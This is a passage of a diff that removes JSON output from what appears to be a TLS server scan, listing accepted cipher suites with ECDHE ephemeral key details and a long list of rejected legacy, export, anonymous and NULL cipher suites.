- "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "AES128-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-AES256-SHA384" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-AES128-SHA256" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA256", - "openssl_name": "NULL-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_256_CCM_8", - "openssl_name": "AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CCM", - "openssl_name": "AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM_8", - "openssl_name": "AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM", - "openssl_name": "AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-RSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", - "openssl_name": "ECDHE-ECDSA-AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", - "openssl_name": "ECDHE-ECDSA-AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", - "openssl_name": "ADH-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", - "openssl_name": "ADH-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", - "openssl_name": "ADH-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", - "openssl_name": "ADH-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-RSA-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-DSS-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-DSS-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-DSS-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-DSS-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", 